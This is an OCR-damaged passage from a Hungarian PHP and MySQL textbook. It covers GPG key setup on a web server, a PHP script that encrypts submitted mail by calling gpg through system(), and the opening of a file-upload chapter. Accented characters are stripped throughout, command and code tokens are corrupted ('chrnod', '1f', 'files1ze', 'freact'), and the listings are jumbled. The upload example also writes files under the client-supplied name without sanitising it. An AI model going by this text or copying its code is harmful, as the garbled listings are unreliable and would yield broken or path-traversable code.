exe fjlt a megfelel knyvtrba (a C: \Windows\ vagy valami hasonl kivlan megfelel)! Hozzunk ltre egy knyvtrat

a C: \gnupg helyen! Ezt kveten nyissuk meg a parancssort, majd gpeljk be: gpg! A GPG-t vagy a PGP-t arra a rendszerre is teleptennk kell, illetve azon a rendszeren is ltre kell hozni egy kulcsprt, aho va az e-mailt kldeni kvnjunk. A webszerveren nagyon kevs klnbsget tallhatunk a GPG s a PGP parancssori verzii kztt, gy akr a GPG-t is hasznlhatjuk, lvn az ingyenes. Azonban a gpre, ahol a leveleket olvassuk, rdemes lehet megvsrolni a PGP fizets vlto zatt, mert annak szebb a levelezprogramhoz tartoz, grafikus kezelfellete. Ha mg nem rendelkeznk a kulcsprral, lltsunk el egyet a gpen, amin a levelet olvasni fogjuk! Emlkezhetnk r, hogy a kulcspr egy nyilvnos s egy titkos (privt) kulcsbl ll. Az elbbit msok (s PHP kdjaink) hasznljk a levl kldse eltt annak titkostsra, rolni. Amennyiben a GPG parancssori vltozatval lltjuk el a kulcsokat, rjuk be az albbi parancsot:
gpg --gen-key
az

utbbival mi magunk fejtjk vissza a berkez zeneteket, s rjuk al a kimen leveleket. Fontos, hogy

a kulcsot a levl olvassra hasznlt gpen s ne a webszerveren hozzuk ltre, mert titkos kulcsot nem ajnlott kiszolgln t

Szmos krdsre kell ekkor vlaszt adnunk. A legebbnl megfelel, ha egyszeren az alaprtelmezett vlaszt fogadjuk el. A program klnbz sorokban megkrdezi valdi nevnket, e-mail cmnket, illetve vr egy megjegyzst, amiket a kulcs elnevezsre hasznl. (Az n sajt kulcsom neve 'Luke Well ing <luke@tangledweb.com.au>'. Gondolom, rthet a sma. Ha a megjegyzst is megadnm, az a nv s a cm kz kerlne.). Az albbi paranccsal exportlhatjuk az j kulcsprbl a nyilvnos kulcsot:
gpg --export > fajlnev

A parancs futtatsnak eredmnyeknt olyan binris fjlt kapunk, amely alkalmas arra, hogy ms gpen lv GPG vagy PGP kulcstartba (key ring) importljuk. Ha viszont e-mailben szeretnnk ezt a kulcsot elkldeni msoknak, hogy importlni tudjk kulcstartjukba, a kvetkezkppen hozhatjuk ltre az ASCII verzijt a fjlnak:
gpg --export -a > fajlnev

A nyilvnos kulcs kinyerse urn FTP segtsgvel feltlthetjk a fjlt a webszerveren lv felhasznli fikunkba. A kvetkez parancsok a Unix hasznlatt felttelezik. A lpsek Windows alatt is ugyanezek, de a knyvtrak neve s a rendszerparancsok eltrnek. Elszr is jelentkezznk be a kiszolgln lv felhasznli fikunkba, majd vltoztassuk meg a fjljogosultsgokat, hogy ms felhasznlk is olvashassk az llomnyt! Gpeljk be a kvetkezket:
chrnod 644 fajlnev

Ltre kell hoznunk egy kulcstartt, hogy a PHP kdjainkat futtat felhasznl hasznlni tudja a GP G-t. Hogy ez melyik felhasznl, az kiszolglnk belltsaitl fgg. Gyakran a nobody, de lehet ms is. Vltoztassuk meg gy, hogy mi legynk a webszerver felhasznljal Ehhez rendszergazdai (root) hozzfrsre van szksg a kiszolglhoz. A webszerver sok rend szeren nobody-knt fut. A most kvetkez pldk ezt a felhasznlt felttelezik. ( Rendszernkn a megfelel felhasznlra vltoztathatjuk ezt). Ha ez ll rendszernkre is, gpeljk be a kvetkezket:
su root su nobody

Hozzunk ltre egy knyvtrat, amelyben a nobody trolni tudja a kulcstartjt s az egyb GPG konfigurcis informci kat! Ennek a nobody alaprtelmezett felhasznli knyvtrban (home directory) kell lennie. Az egyes felhasznlk alaprtelmezett knyvrrt az letclpasswd fjlban hatrozhatjuk meg. Sok Linux rendszeren a nobody alaprtelmezett knyvtra a l, amelybe ez a felhasznl nem jogosult rni. Szmos BSD rendszeren a nobody alap rtelmezett knyvtra a lnonexistent, amelybe, mivel nem ltezik, nem lehet rni. Rendszernkn a nobody felhasznl nak a l tmp lett alaprtelmezett knyvtrknt megadva. Gyzdjnk meg arrl, hogy webkiszolglnk felhasznlja rendelke

18
___ .. ,. ,

zik alaprtelmezett knyvtrra!, amelybe rni tud! Gpeljk be a kvetkezket:


cd mkdir .gnupg

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

285

A nobody felhasznlnak sajt alrkulcsra van szksge. Ennek ltrehozshoz futtassuk jra az albbi parancsot:
gpg --gen-key

Mivel a nobody felhasznl vlheten kevs szemlyes jelleg e-mailt kap, mi is ltrehozhatjuk szmra a csak alr kul csot. Ennek a kulcsnak egyetlen clja, hogy megbzhassunk a korbban Icinyert nyilvnos kulcsban. Az albbi paranccsal impor tljuk a korbban exportlt nyilvnos kulcsot:
gpg --import fajlnev

Hogy kzlhessk a GPG-vel: meg kvnunk bzni ebben a kulcsban, az albbi paranccsal szerkesztennk kell a kulcs rulaj donsgait:
gpg --edit-key 'Luke Welling <luke@tangledweb.com.au>'

A fenti sorban az egyszeres idzjelek kztti szveg a kulcs neve. Nyilvnval: az olvas kulcsnak nem 'Luke Welling <luke@tangledweb. com.au>' lesz a neve, hanem a ltrehozsnl megadott nv, megjegyzs s e-mail cm kombincija. A prograrnon belli lehetsgek kztt megtalljuk a help-et is, amely az elrhet parancsokat- trust, sign s save ismerteti. A trust-ot begpelve kzljk a GPG-vel, hogy teljes mrtkben megbzunk kulcsunkban. A sign begpelsvel al rjuk a nobody felhasznl privt kulcst hasznl nyilvnos kulcsot. Vgl a save parancsot begpelve a vltoztatsainkat elmeneve lpjnk ki a programbl!

A GPG tesztelse
A GPG ezzel be lett lltva, hasznlatra ksz. A tesztelshez hozzunk ltre nmi szveget tartalmaz fjlt, majd mentsk el nven! Gpeljk be az albbi parancsot (kulcsunk nevt rtelemszeren berva):
gpg -a --recipient 'Luke Welling <luke@tangledweb.com.au>' --encrypt teszt.txt

teszt.txt

Az albbi, nem biztonsgos memria hasznlatra utal figyelmeztetst kell kapnunk:


gpg: Warning: using insecure memory!

s ltrejn a teszt.txt.asc nev fjl. Ha megnyitjuk ezt, az albbihoz hasonl, titkostott zenetet ltunk:
-----BEGIN PGP MESSAGE----Version: GnuPG vl.0.3 Comment: (GNU/Linux)

For info see http://www.gnupg.org

hQEOAODU7hVGgdtnEAQAhr4HgR7xpiBsK9CiELQw85+klQdQ+p/FzqL8tiCrQ+B3 0GJTEehPUDErwqUw/uQLTds0rloPSriAZ7c6GVkhOYEVBj2MskT81IIBvdo950yH K9PUCvg/rLxJlkxe4Vp8QFETSE3Fdii/ly8VPSgSTE7gAgm0SbFf3S91PqwMyTkD /2oJEvL6e3cP384s0i8lrBbDbOUAAhCjjXt2DX/uX9q6Pl8QW56UICUOn4DPaWlG /gnNZCkcVDgLcKfBjbkB/TCWWhpA7o7kX4Cicih7KliMHY4RKdnCWQf27loE+8i9 cJRSCMsFioi6MMNRCQHY6p9bfxL2uE39IRJrQbe6xoEe0nkB0uTYxiLOTG+FrNrE tvBVMS0nsHu7HJey+oY4Z833p k5+MeVwYumJwlvHjdZxZmV6wz46G02XGT17b28V wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdHOXa+NpqbH7q3+xXmd30hDR +u7t6MxTLDbgC+NR =gfQu -----END PGP MESSAGE-----

Hogy visszakapjuk az eredeti szveget, tovbbtsuk ezt a fjlt arra a rendszere, ahol ellltottuk a kulcsot, majd futtassuk az albbi parancsot:
gpg teszt.txt.asc

A szveg a korbbival megegyez nev,jelen esetben a teszt. txtfjlba fog rdni. A szveg kpernyre ratshoz a -d kapcsolt kell hasznlnunk:
gpg -d teszt.txt.asc

Ha az alaprtelmezettl eltr nev fjlba szeretnnk helyezni a szveget, a -o kapcsolt hasznlva, illetve a kimeneti llo mnyt a kvetkezkppen meghatrozva tehetjk ezt meg:
gpg -do teszt.out teszt.txt.asc

Lthatjuk, hogy elszr a kimeneti fjlt kell megneveznnk. Amennyiben a GPG gy van belltva, hogy a PHP kdjainkat futtat felhasznl parancssorban tuclja hasznlni, majdnem teljesen megvagyunk. Ha ez nem lehetsges, egyeztessnk a rendszergazdval, vagy tanulmnyozzuk a GPG dokumentcijt! A 18.1s a 18.2 pldakd a GPG-t PHP-vel meghvva teszi lehetv titkostott e-mailek kldst.

18

286

18.fgezet

18.1 pldakd: titkos_ mail. php-A titkostott e-mailek kldsre szolgl HTML rlap
<html> <body> <hl>Kldjn nekem titkostott e-mailt!</hl> <?php ll ha nem az alaprtelmezett portokat, ll s SSL-hez a 443-ast hasznljuk, if($ SERVER['SERVER_PORT'] !=443) { norml forgalomhoz a 80-ast mdostani kell ezt a sort

echo '<p style="color: red">FIGYELMEZTETS: nem SSL hasznlatval csatlakozott az oldalhoz. zenett brki ms is elolvashatja.</p>'; ?> <form method="post" action="titkos_mail kuldese.php"> <p>E-mail cme:<br/> <input type="text" name="felado" size="40"/></p> <p>Trgy:<br/> <input type="text" name="targy" size="40"/></p> <p>zenet:<br/> <textarea name="uzenet" cols="30" rows="l0"></textarea></p> <br/> <input type="submit" name="kuldes" value="Klds"/> </form> </body> </html>

18.2 pldakd: titkos_mail_kuldese .php-A GPG-t meghv s a titkostott e-mailt elkld PHP kd
<?php //rvid vltoznevek ltrehozsa $felado = $ POST['felado']; $targy
=

$ POST['targy'];

$uzenet = $ POST['uzenet']; $cmzett = 'luke@localhost'; ll Kzljk a gpg-vel, hol tallja a kulcstartt

ll Ezen a rendszeren a nobody felhasznl alaprtelmezett knyvtra a /tmp/ putenv('GNUPGHOME=/tmp/.gnupg');

18

//egyedi fjlnv ltrehozsa $bemeno fajl $kimeno_fajk tempnam('', 'pgp'); $bemeno fajl.'.asc';

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

287

/la felhasznl szvegnek a fjlba rsa $fp = fopen($bemeno faJl, fwrite($fp, $uzenet); 'w');

fclose($fp);

//parancsunk belltsa $parancs = "/usr/local/bin/gpg -a \\ --recipient 'Luke Welling <luke@tangledweb.com.au>' \\ --encrypt -o $kimeno_fajl $bemeno_fajl";

ll gpg parancsunk futtatsa system($parancs, $eredmeny);

/la titkositatlan temp fjl trlse unlink($bemeno_fajl);

if($eredmeny==0) 1f((!$fp)

{
'r');

$fp = fopen($kimeno_fajl,

l l

(files1ze($k1meno fajl)==O))
-

$eredmeny = else

1;

/la titkostott fjl olvassa $tartalom = freact ($fp, filesize ($kimeno_fajl));

/la titkostott temp fjl trlse unlink($kimeno_fajl);

mail($cimzett,

$targy,

$tartalom,

"Felad:

".$felado."\n");

echo '<hl>zenet elkldve<lhl> <p>zenett titkostottuk s elkldtk.<lp> <p>Ksznjk.<lp>';

if($eredmeny!=O) echo '<hl>Hiba:<lhl> <p>Az zenetet nem sikerlt tikostani.</p> <p>Levelt nem kldtk el.<lp> <p>Elnzst krnk.<lp>';

?>

Nhny aprbb mdostst vgre kell hajtanunk a kd mkdshez. Az e-mailek a $cmzett vltozban meghatrozott e-mail cmre lesznek elkldve.
A 18.2 pldakdban a GPG kulcstart helynek megfelelen mdostani kell az albbi sort:
putenv('GNUPGHOME=Itmpl.gnupg');

Rendszernkn a kiszolgl nobody felhasznlknt fut, s alaprtelmezett knyvtra a l tmp l.


A tempnam () fggvnnyel ltrehoztunk egy egyedi ideiglenes fjlnevet. Meghatrozhatjuk a knyvtrat s a fjlnv eltag

,.

jt is. Krlbell egy msodpercen bell ltrehozzuk s kitrljk ezeket a fjlokat, gy nem igazn fontos a nevk, a lnyeg. hogy egyedi legyen. Pldnkban a 'pgp ' eltagot alkalmaztuk, de hagytuk, hogy a PHP a rendszer ideiglenes knyvrrt hasznlja.

18

288

18. fejezet

Ez a parancs
$parancs
=

"/usr/local/bin/gpg --recipient

-a \\

'Luke Weiling <luke@tangledweb.com.au>'

\\

--encrypt -o $kimeno_fajl $bemeno_fajl";

a GPG meghvshoz hasznland parancsot s paramtereket lltja be. Sajt hasznlati krlmnyeinknek megfelelen kell mdostanunk. Amikor pldul parancssorban hasznljuk, kzlnnk kell a GPG-vel, melyik kulccsal titkostsa az zenetet. A
system($parancs, $eredmeny);

parancs futtaga a $parancs vltozban trolt utastsokat, s az $eredmeny vltozban trolja el a visszatrsi rtket. Nem felttlenl szksges foglalkoznunk a visszarrsi rtkkel, de segtsgvel - s egy if utasts segtsgvel - kzlhetjk a felhasznlval, ha valami balul sl el. Ha befejeztk munknkar az ideiglenes fjlokkal, az unlink () fggvnnyel rrlhegk ket. Ez azt jelenti, hogy a felhasz nl nem titkosrorr leveleit rvid ideig troljuk a kiszolgln. Ha a kiszolgl a kd futtatsa kzben lell, a fjl akr a szerve ren is ragadhat. Ha foglalkoztat bennnker kdunk biztonsga, fontos, hogy a rendszernkn belli sszes informcimozgst figyelembe vegyk. A GPG ritkosrja levelnket, s lehetv teszi a fogad szmra annak visszafejtst, de ezt megelzen hogyan rkezik a kldrl az informci' Ha webes felletet knlunk GP G-vel ritkosrott levelek kldsre, az informci tja a 18.5 brhoz hasonl lesz.
l 2

Felad bngszje

Webszerver

Cmzett levelezszervere

Cmzett levelezkliense

18.5 bra: A titkostott levelezalkalmazsban az zenetet hromszor tovbbljuk az interneten. Az brn minden nyl az egyik gprl a msikra kldrr zenetet jelkpezi. Elkldsekor az zenet az interneten kzlekedik, s szmos kztes hlzaton s gpen haladhat keresztl. A pldban vizsglt kd az brn a Webszerver feliratot visel gpen tallhat. A webszerveren az zenet a cmzett nyilvnos kulcsval lesz titkosrva. Ezt kveten a kiszolgl SMTP-n keresztl elkldi a cmzett levelezszervernek. A cmzett- pldul POP vagyIMAP protokollon keresztl- csatlakozik levelezszer verhez, majd levelezkliensvel letlti az zenetet.Itt titkos kulcsval visszafejti a levelet. A 18.5 brn az l-es, 2-es s 3-as nyl jelli az adarrovbbtst. A 2-es s 3-as szakaszban az zenet GPG-vel titkosrva tovbbtdik, a titkos kulcs nlkl senki nem rudja visszafejteni. Az l-es szakaszban azonban a felad ltal az rlapba bevitt szvegknt tovbbrdik az zenet. Ha a tovbbrani kivnt informci elg fontos ahhoz, hogy a msodik s harmadik krben titkosrva kldjk azt, akkor butasg azt els krben titkosrs nlkl tovbbtani. Ezrt ez a kd SSL-es kiszolgln hasznland. Ha SSL nlkl prblunk meg kapcsoldni a kdhoz, figyelmeztetst kapunk. A $_SERVER [ 'SERVER_ PORT' l rtkt ellenrizve gyzdhetnk meg errl. Az SSL kapcsolat a 443-as porton keresztl jn. Minden ms kapcsolat hibt eredm nyez. A hibazenet megjelenrse helyerr mshogyan is kezelhegk az ilyen helyzetet. P ldul SSL kapcsolaton keresztl tir nythaguk a felhasznlt ugyanahhoz az URL-hez. Dnthetnk gy is, hogy nem foglalkozunk vele, mert ha az rlapot biz tonsgos kapcsolaton keresztl kldjk el, akkor a hibnak nincsen jelentsge. A lnyeg az, hogy a felhasznl ltal az rlapba bevitt adatokat biztonsgosan kldjk el. Az rlap mveleteknt (action) megadhatnnk egyszeren a teljes URL-t is. A nylt rlap cmkje jelenleg a kvetkezkppen nz ki:
<form method="post" action="titkos_ma1l kuldese.php">

Mdosthatjuk gy, hogy az adatokat akkor is SSL-en keresztl kldjk, ha a felhasznl SSL nlkl csatlakozott:
<form method="post" action="https://webserver/titkos_mail_kuldese.php">

Ha gy berjuk kdunkba a teljes URL-t, biztosak lehetnk benne, hogy a ltogatk adatai SSL hasznlatval lesznek el kldve, de ha msik szerveren vagy msik knyvtrban hasznljuk a kdot, minden esetben mdostani kell.

18

Noha sem most, sem ms hasonl helyzetben nem felttlenl fontos, hogy az res rlapot SSL-en keresztl kldjk a fel hasznlnak, mgis rdemes ezt a megoldst vlasztani. A bngszjk llapotsorn megjelen kis lakat ikon megersti az emberekben azt a hitet, hogy az ltaluk megadorr informci biztonsgos mdon megy el. gy nem kell a HTML forrskdban az rlap action rulajdonsgt kibogarszniuk ahhoz, hogy nyugodtak lehessen adataik biztonsga fell.

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

289

Tovbbi olvasnival
Az SSL 3.0-s verzijnak specifikcija a Netscape oldalrl tlthet le: http:/ /wp.netscape.com/eng/ssl3/. Ha szeretnnk tbbet megtudni a hlzatok s a hlzati protokollok mkdsrl, olvassuk el Andrew S. Tanenbaum Computer Networks (Szmtgpes hlzatok) cm klasszikus alapoz knyvt!

Hogyan tovbb:
Ezzel vgre rtnk az elektronikus kereskedelemmel s a biztonsggal kapcsolatos krdsek ttekintsnek. A knyv kvet kez rszben halad szint PHP-mdszerekkel ismerkednk meg. Egyebek kzte megtudhag uk azt, hogyan lphetnk kapcsolatba az interneten lv ms gpekkel, hogyan hozhatunk ltre menetkzben kpeket, illetve hogyan alkalmazhatjuk
a

munkamenet-vezrlst.

IV
Halad PHP--mdszerek

19

A fjlrendszer s a kiszolgl elrse

20

Hlzati s protokollfggvnyek hasznlata

21

Dtum s id kezelse

22

Kpek ellltsa

23

Munkamenet-vezrls PHP-ben

24

Tovbbi hasznos lehetsgek PHP-ben

19
A fjlrendszer s
a

kiszolgl elrse

Az Adatok trolsa s visszakeresse cm 2. fejezetbl megrudruk, hogyan olvashatunk adatokat a webszervererr lv fjlokbl,

illetve hogyan rhatunk azokba. A mostani fejezetben olyan PHP fggvnyekkel ismerkedhetnk meg. amelyek lehetv teszik, hogy kapcsolatba lpjnk a kiszolgln lv fjlrendszerreL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:

Fjlfeltlts PHP-ben Knyvtrfggvnyek hasznlata Kiszolgln lv fjlok elrse s kezelse Programok futtatsa a kiszolgln Szerverkrnyezeti vltozk hasznlata
A fggvnyek hasznlatt egy pldn keresztl fogjuk megvizsglni. Kpzeljnk el egy olyan helyzetet, amikor gyfelnk azt

szeretn, hogy maga tudja feltlteni a weboldala tartalmnak egy rszt - pldul a cgvel kapcsolaros friss hreket! (Vagy egyszeren csak az FTP-nl vagy SCP-nl bartsgosabb felletet szereme magnak.) Az egyik lehetsges megolds, ha meg engedjk neki, hogy egyszer szveges fjlknt feltltse a tartalmat. Ezt kveten a fjlok egy PHP-ben kialaktott sablonon keresztl lesznek elrhetk az oldalon (az Objektumorientlt PHP cm fejezetben ltott megoldshoz hasonlan). Mieltt elmlyednnk a fjlrendszer fggvnyeiben, nzzk meg rviden, hogyan mkdik a fjlfeltlts!

Fjlfeltlts
A PHP egyik igen hasznos jellemzje a fjlfelelts tmogatsa. Ahelyett, hogy a kiszolglrl HTTP-n keresztl a bngsz

be mennnek, feltltskor pont fordtott irnyban kzlekednek a fjlok. A feltltst ltalban HTML rlappal valstjuk meg.
A pldnkban hasznlt rlapot a 19.1 brn lthatjuk.

j fjlok feltltse
:,........ r::: :::: = 1 ..... l

19.1 bra: A fjlfeltltshez hasznlt HTML rlap a szoksos rlapoktl eltr mezkkel s meztpusokkal rendelkezik.

Lthatjuk, hogy a felhasznl az rlap szvegdobozba rhatja be az ltala helyileg elrhet fjlokat, illetve a.Tallzs" , gombra kattintva tallzhat azok kztt. Rvidesen ltni fogjuk, hogy lehet ltrehozni ezt az rlapot. A fjlnv megadsa utn
a

felhasznl a.,Fjl kldse" gombra kattint, s a fjl feltltdik a kiszolglra, ahol PHP kd vrja. Mieltt belemerlnnk a fjlfelclts plda rszleteibe, fontos megemltennk, hogy a php.ini fjl ngy direktvja szab

lyozza azt a mdot, ahogyan a PHP a fjlfeltltst kezeli. A 19.1 tblzatban ezeket a direktvkat, valamint alaprtelmezett rtkket s lersukat talljuk.

294

19. fejezet

19.1 tblzat: A php.i ni fjlfeltltsi

belltsai
Alaprtelmezett rtk

19

Direktva
file_uploads upload_tmp_dir

Lers

upload_max_filesize

post_max size

A HTTP fjlfeltltst engedlyezi. Lehetsges rtkei On s Off. Azt a knyvtrat hatrozza meg, amelyben a feldolgozsra vr fjlok tmenetileg eltroldnak. Ha nincs megadva, a rendszer az alaprtelmezett rtket hasznlja. A feltlthet fjlok legnagyobb mrett szablyozza. Ha a feltlteni kvnt fjl ennl nagyobb, a PHP egy O bjtos helykitlt fjlt r helyette. A PHP lral elfogadhat POST adar legnagyobb mrert hatroz za meg. Az up load_max_filesize direktivban meghatrozott rtknl nagyobbnak kell lennie, mivel ez a POST mdszerrel kldtt sszes adat (kztk a feltltend fjlok) legnagyobb mre rt szablyozza.

On NULL

2M

8M

A fjlfeltlts HTML kdja


A fjlfeltlts vghezvitelhez kifejezetten ebbl a clbl ltez HTML szintaktikt kell hasznlnunk. Az rlap HTML kdjt a 19.1 pldakdban lthatjuk.
19.1 pldakd: feltoltes.html-A fjlfeltltshez
<html> <head> <title>Adminisztrci </head> <body> <hl>j fjlok feltltse</hl> <form action="feltoltes.php" method="post" enctype="multipart/form-data"/> <div> <input type="hidden" name="MAX_FILE_SIZE" value="lOOOOOO" /> <label for="felhasznaloi fajl">Feltoltend fjl:</label> <input type="file" name="felhasznaloi fajl" id="felhasznaloi fajl"/> <input type="submit" value="Fjl kldse"/> </div> </form> </body> </html> j fjlok feltltse</title>

hasznlt HTML rlap

Figyeljk meg, hogy az rlap a POST metdust hasznlja! A fjlfeltltsek a Netscape Composer s az Amaya ltal tmoga tott PUT mdszerrel is mkdnek, de ebben az esetben jelentsen mdosrani kellene a kdot. A GET metdus fjlfeltltsekre nem hasznlhat. Az rlap az albbi jdonsgokat tartalmazza szmunkra: A <form> cmkben be kell lltanunk az enctype="multipart/form-data" tulajdonsgot, hogy kzljk a ki szolglval: a szoksos informci mellett fjl is rkezik. Szksgnk van a feltlthet fjlok maximlis mrett meghatroz rlapmezre. Jelen esetben rejtett mezvel dolgo zunk:
<input type="hidden" name="MAX_FILE_SIZE" value=" 1000000">

Jegyezzk meg, hogy a MAX_FILE_SIZE rlapmez opcionlis, mivel ezt az rtker szerveroldalon is bellthatjuk! Ha viszont az rlapban hasznljuk, a mez neve MAX_FILE_SIZE kell, hogy legyen. A felhasznJk legfeljebb az itt (bj-

A fjlrendszer s a kiszolgl elrse

295

tokban) megadott mret fjlokat tlthetik fel. Alkalmazsunk jellegtl fiiggen az rtket llthatjuk ennl kisebbre, de nagyobbra is. Meg kell adnunk azt is, hogy a beviteli adat tpusa file:
<input type="flle" name=" felhasznaloi fajl" id=" felhasznaloi_fajl"/>

19

Brmilyen nevet vlasztharunk a fjlnak, de ne felejtsk el, mivel ezt a nevet hasznlva fogjuk elrni a fjlt az azt fogad PHP kdbL

Megjegyzs: Mieltt tovbblpnnk, rdemes megemlteni, hogy a PHP egyes verziiban biztonsgi sebezhetsgeket talltak afjlfeltlts kdjban. Ha gy dntnk, hogy fjlfeltltst hasznlunk lesben mkd kiszolglnkon, gyeljnk, hogy a PHP legfrissebb vltozatt futtassuk, s egyik szemnket tartsuk llandan a megjelen javtsokonl Nem szksges, hogy mindez visszatartson bennnket e hasznos lehetsg hasznlattl, mindssze kell gondossggal kell eljrni kdunk megrsakor, s korltozzuk a fjlfeltlts elrhetsgt pldul az oldal rendszergazdira s a tartalomkezelsrt felels szemlyekre!

A fjlt kezel PHP

kd megrsa

A fjlt fogad PHP kd megrsa viszonylag magtl rtetd. Feltltskor a fjl azonnal egy, a php.ini upload_tmp_dir direktvjban meghatrozott, ideiglenes knyvtrba kerl. Ahogy a 19.1 tblzatban mr jelezrk, ha a direktva nincsen bellrva, alaprtelmezsben a kiszolgl els szm ideiglenes knyvtra jn a kpbe. Ha a kd fUttatsnak befejezse eltt nem helyezzk t, nem msoljuk le vagy nem nevezzk t a fjlt, akkor a kd vgn trldni fog az ideiglenes knyvtrbl. A PHP kdunkban kezelend adatok a $ _FILES szupergloblis tmbben troldnak el. Ha bekapcsoltuk a register_
globals belltst, kzvetlen vltozneveken keresztl is elrhetjk ezeket az adatokat. Azonban pontosan ez az a terlet,

ahol rendkivl fontos, hogy a register_globals ki legyen kapcsolva, vagy legalbbis gy tegynk, mintha ki lenne iktarva, s a szupergloblis tmbt hasznljuk, illerve hagyjuk figyelmen kvl a globlis vltozkat. A $_FILES tartalma a HTML rlap <file> cmkjnek nevvel lesz eltrolva. Mivel rlapelemnk neve
felhasznaloi_fajl, a tmbbe
az

albbi tartalom kerl:

A$_FILES ['felhasznaloi_faj l' J [o tmp_nameo J-ben trolt rtk mutatja a helyet, ahol a fjlt

webszervernkn ideiglenesen eltrolruk. A $_FILES [o felhasznaloi_fajl o) [o name o ]-ben trolt rtk a fjlnak a felhasznl rendszerben hasznlt neve. A $_FILES [o felhasznaloi_fajl o J [o size ]-ban trolt rtk a fjl bjtokban kifejezett mrete.
o

A $_FILES [0 felhasznaloi_faj l o J [0 type o ]-ban trolt rtk a fjl MIME-tpusa- pldul text/plain vagy image/gif. A $ _FILES [o felhasznaloi_fajl' J [0 error ]-ban trolt rtk a fjlfeltltssel kapcsolatos esetleges hiba
0

kdokat tartalmazza. Ez a fUnkci a PHP 4.2.0-s verzijban jelent meg. Feltve persze, hogy tudjuk, hol van a fjl, s hogy hvjk, most mr valami hasznos helyre msolhatjuk. A kd fUttatsnak
a

vgn az ideiglenes fjl trldik. Ha szeretnnk megtartani, t kell helyezni, vagy t kell nevezni. A plda kedvrt friss hrekknt fogjuk felhasznlni a feltlttt fjlokat, ezrt eltvoltjuk bellk
az

esetlegesen ottma

radt cmkket, majd egy hasznlhatbb knyvtrba (feltoltesek/ ) helyezzk t ket. Ne feledkezznk meg arrl, hogy
a

webszerver gykrknyvtrban ltre kell hoznunk uploads nev mappt! Az eddig vzolt feladatot ellt kdot a 19.2 pldakd tartalmazza.

19.2 pldakd: feltoltes. php-A


<html> <head>

HTML rlapbl a fjlokat fogad PHP kd

<title>Feltlts ... </title> </head> <body> <hl>A fjl feltltse ...</hl> <?php if ( $ FILES [0 felhasznaloi faj l o J [o error o J > O)

296

19. fejezet

echo 'Hiba trtnt:

';

switch ($ FILES['felhasznaloi_faJl') ['error'))

19

case 1: case 2: case 3:

echo 'A fjlmret meghaladja a maximlisan feltlthet mretet'; break; echo 'a fjlmret meghaladja a maximlis mretet'; break; echo 'A fjl feltltse csak rszlegesen sikerlt'; break;

case 4: case 6: case 7:

echo 'Nem lett fjl feltltve'; break; echo 'Nem lehet feltlteni a fjlt: break; echo 'Nem sikerlt a feltlts: break; Nem lehetett a lemezre rni'; Nincs ideiglenes mappa meghatrozva';

exit; ll Megfelel MIME-tipus a fjl? if ($_FILES['felhasznaloi_fajl') ['type') != 'textlplain')

echo 'Hiba: exit;

a fjl nem egyszer szveg';

ll tegyk a fjlt a neknk tetsz helyre! $feltolt endo_fajl 'feltoltesekl' . $ FILES[ 'felhasznaloi fajl' l ['name' l

if (is uploaded_file($_FILES['felhasznaloi fajl') ['tmp_name'))) if ( !move_uploaded_file($_FILES['felhasznaloi_fajl' J [ 'tmp_name' l, $feltoltendo_fajl))

echo 'Hiba: exit;

Nem sikerlt a fjlt a clmappba thelyezni';

else echo 'Hiba: exit; Fjlfeltltsi tmads lehetsge. Fjlnv: ';

echo $ FI LES [ 'felhasznaloi fajl' J ['name' J ;

echo 'A fjlfeltlts sikerlt<br><br>';

ll tvoltsuk el a fjl tartalmbl az esetleges HTML s PHP cmkket! $tartalom = file_get_contents($feltoltendo_fajl); $tartalom = strip_tags($tartalom); file_put_ contents($_FILES['felhasznaloi_fajl' J ['name' l, $tartalom);

ll mutassuk meg a feltlttt fjlt' echo '<p>A feltlttt fjl tartalmnak elnzete:<brl><hrl>'; echo nl2br($tartalom); echo '<brl><hrl>';

A fjlrendszer s a kiszolgl elrse

297

?> </body> </html>

19

rdekes mdon a fenti kd nagy rsze hibaellenrzs. A fjlfelelts potencilis biztonsgi kockzatokkal jr, s ahol le hetsges, mrskelni kell a kockzacokac. A lehet leggondosabban eljrva ellenrizni kell a felelttt fjlt, hogy megjelentse biztonsgos legyen ltogatink szmra. Menjnk vgig a kd fbb rszein! Elszr is ellenrizzk a$ _FILES ['felhasznaloi_faj l' l ['error' l ltal visz szaadott hibakdot! Ezekhez a hibakdokhoz egy-egy lland lett rendelve. A lehetsges hibakdok, a hozzjuk tartoz kons tans, illetve jelentsk a kvetkez:
UPLOAD_ERROR_OK,

az rtke 0, azt jelenti, hogy nem trtnt hiba. az rtke l, azt jelenti, hogy a felelttt fjl mrete meghaladja a php . ini fjlban az az rtke 2, azt jelenti, hogy a feltlttt fjl mrete meghaladja a HTML rlap MAX_FILE_ direktva ltal meghatrozott rtket.

UPLOAD_ERR_INI_SIZE, upload_max_filesize

UP LOAD_ERR_ FORM_ SI ZE, SIZE

elemben meghatrozott, maximlis rtket. az rtke 3, azt jelenti, hogy a fjl csak rszlegesen lett felclcve. az rtke 4, azt jelenti, hogy nem trtnt fjlfeltlts. az rtke 6, azt jelenti, hogy nem lett a php. ini fJlban ideiglenes knyvcr meghat az rtke 7, azt jelenti, hogy a fjl lemezre rsa sikertelen (ez a hibakd a PHP 5.1.0-s

UPLOAD_ERR_PARTIAL, UPLOAD_ERR_NO_ FILE,

UPLOAD_ERR_NO_TMP_DIR,

rozva (a PHP 5.0.3-as verzirl rhet el).


UPLOAD_ERR_CANT_WRITE,

verzijban lett bevezetve). Ha a PHP egy rgebbi verzijt kvnjuk hasznlni, a PHP kziknyvben callhat mintakdokkal sajt kezleg hajthatjuk vgre ezeket az ellenrzseket. Lehetsgnk van a MIME-cpus ellenrzsre. Mivel pldnkban csak szveges fjlokat kvnunk feltlteni, a MIMErpus ellenrzshez gyz<ljnk meg arrl, hogy a$ _FILES [ 'felhasznaloi_faj l' l ['type' l a text/plain cpust tartalmazza! Mindez csak hibakeress, nem biztonsgi ellenrzs. A MIME-cpust a felhasznl bngszje llaptja meg a ki szolglnak tadoct fjl kicerjesztsbL Ha a rosszindulat felhasznlknak brmi elnye szrmazna abbl, hogy nem a valdi kiterjesztst adjk t, akkor knnyen megtehetnk azt. Ezt kveten ellenrizhetjk, hogy a megnyitni kvnt fjl tnylegesen fel lett-e tltve, nem pedig olyan fjlrl van sz, mint pldul az l e tc/passwd. Rvidesen visszatrnk mg erre a krdsre. Ha idig minden rendben ment, 